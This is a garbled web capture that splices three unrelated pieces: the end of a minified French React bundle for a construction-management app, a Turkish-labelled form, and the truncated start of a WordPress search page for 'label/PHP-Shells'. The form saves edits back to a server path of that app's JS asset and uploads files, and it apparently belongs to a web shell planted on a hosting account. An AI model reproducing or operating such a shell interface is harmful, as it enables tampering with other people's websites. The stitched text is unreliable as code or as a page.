(optionnel)&quot;}),n.jsx(&quot;input&quot;,{id:&quot;wi-start&quot;,type:&quot;date&quot;,value:k,onChange:$=&gt;F($.target.value),className:oe}),I.start_date?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:I.start_date}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;wi-end&quot;,children:&quot;Fin prévue (optionnel)&quot;}),n.jsx(&quot;input&quot;,{id:&quot;wi-end&quot;,type:&quot;date&quot;,value:K,onChange:$=&gt;ee($.target.value),className:oe}),I.expected_end_date?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:I.expected_end_date}):null]})]}),n.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2 pt-2&quot;,children:[n.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:Q,className:ht,children:Q?&quot;Enregistrement…&quot;:f?&quot;Enregistrer&quot;:&quot;Créer l’ouvrage&quot;}),n.jsx(be,{to:&quot;/production-entries&quot;,className:Xt,children:&quot;Annuler&quot;})]})]})]}):n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Nouvel ouvrage&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec work_items.manage.&quot;})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Nouvel ouvrage&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Ny({children:u}){const{token:c,bootstrapping:d}=Oe();return d?n.jsx(&quot;div&quot;,{className:&quot;flex min-h-dvh items-center justify-center px-4&quot;,children:n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;})}):c?n.jsx(n.Fragment,{children:u}):n.jsx(cr,{to:&quot;/login&quot;,replace:!0})}function Ey(){return n.jsxs(Zx,{children:[n.jsx(Se,{path:&quot;/login&quot;,element:n.jsx(zv,{})}),n.jsxs(Se,{path:&quot;/&quot;,element:n.jsx(Ny,{children:n.jsx(Ov,{})}),children:[n.jsx(Se,{index:!0,element:n.jsx(Rv,{})}),n.jsx(Se,{path:&quot;profil&quot;,element:n.jsx(Dv,{})}),n.jsx(Se,{path:&quot;organization&quot;,element:n.jsx(Mv,{})}),n.jsx(Se,{path:&quot;projects&quot;,element:n.jsx(Uv,{})}),n.jsx(Se,{path:&quot;projects/new&quot;,element:n.jsx(Dm,{})}),n.jsx(Se,{path:&quot;projects/:projectId&quot;,element:n.jsx(Hv,{})}),n.jsx(Se,{path:&quot;projects/:projectId/edit&quot;,element:n.jsx(Dm,{})}),n.jsx(Se,{path:&quot;projects/:projectId/teams&quot;,element:n.jsx(Xv,{})}),n.jsx(Se,{path:&quot;projects/:projectId/teams/new&quot;,element:n.jsx(Hm,{})}),n.jsx(Se,{path:&quot;projects/:projectId/teams/:teamId&quot;,element:n.jsx(Vv,{})}),n.jsx(Se,{path:&quot;projects/:projectId/teams/:teamId/edit&quot;,element:n.jsx(Hm,{})}),n.jsx(Se,{path:&quot;projects/:projectId/assignments&quot;,element:n.jsx(Zv,{})}),n.jsx(Se,{path:&quot;projects/:projectId/assignments/new&quot;,element:n.jsx($v,{})}),n.jsx(Se,{path:&quot;projects/:projectId/assignments/:assignmentId&quot;,element:n.jsx(Fv,{})}),n.jsx(Se,{path:&quot;projects/:projectId/access&quot;,element:n.jsx(Wv,{})}),n.jsx(Se,{path:&quot;projects/:projectId/work-items/new&quot;,element:n.jsx(km,{})}),n.jsx(Se,{path:&quot;projects/:projectId/work-items/:workItemId/edit&quot;,element:n.jsx(km,{})}),n.jsx(Se,{path:&quot;attendances/saisie&quot;,element:n.jsx(sy,{})}),n.jsx(Se,{path:&quot;attendances/new&quot;,element:n.jsx(qm,{})}),n.jsx(Se,{path:&quot;attendances/:attendanceId/edit&quot;,element:n.jsx(qm,{})}),n.jsx(Se,{path:&quot;attendances/:attendanceId&quot;,element:n.jsx(ey,{})}),n.jsx(Se,{path:&quot;attendances&quot;,element:n.jsx(uy,{})}),n.jsx(Se,{path:&quot;production-entries/new&quot;,element:n.jsx(Lm,{})}),n.jsx(Se,{path:&quot;production-entries/:productionEntryId/edit&quot;,element:n.jsx(Lm,{})}),n.jsx(Se,{path:&quot;production-entries/:productionEntryId&quot;,element:n.jsx(hy,{})}),n.jsx(Se,{path:&quot;production-entries&quot;,element:n.jsx(oy,{})}),n.jsx(Se,{path:&quot;payroll-entries/:payrollEntryId&quot;,element:n.jsx(jy,{})}),n.jsx(Se,{path:&quot;payroll-entries&quot;,element:n.jsx(yy,{})}),n.jsx(Se,{path:&quot;users&quot;,element:n.jsx(Bv,{})}),n.jsx(Se,{path:&quot;users/new&quot;,element:n.jsx(Mm,{})}),n.jsx(Se,{path:&quot;users/:userId&quot;,element:n.jsx(Lv,{})}),n.jsx(Se,{path:&quot;users/:userId/edit&quot;,element:n.jsx(Mm,{})}),n.jsx(Se,{path:&quot;workers&quot;,element:n.jsx(kv,{})}),n.jsx(Se,{path:&quot;workers/new&quot;,element:n.jsx(Um,{})}),n.jsx(Se,{path:&quot;workers/:workerId&quot;,element:n.jsx(Yv,{})}),n.jsx(Se,{path:&quot;workers/:workerId/edit&quot;,element:n.jsx(Um,{})})]}),n.jsx(Se,{path:&quot;*&quot;,element:n.jsx(cr,{to:&quot;/&quot;,replace:!0})})]})}function _y(){return n.jsx(xv,{children:n.jsx(Av,{children:n.jsx(Cv,{children:n.jsx(Ey,{})})})})}Zp.createRoot(document.getElementById(&quot;root&quot;)).render(n.jsx(m.StrictMode,{children:n.jsx(_y,{})}));
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/coffra/assets/index-DEbMrEuD.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d46ca4d2cc*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari 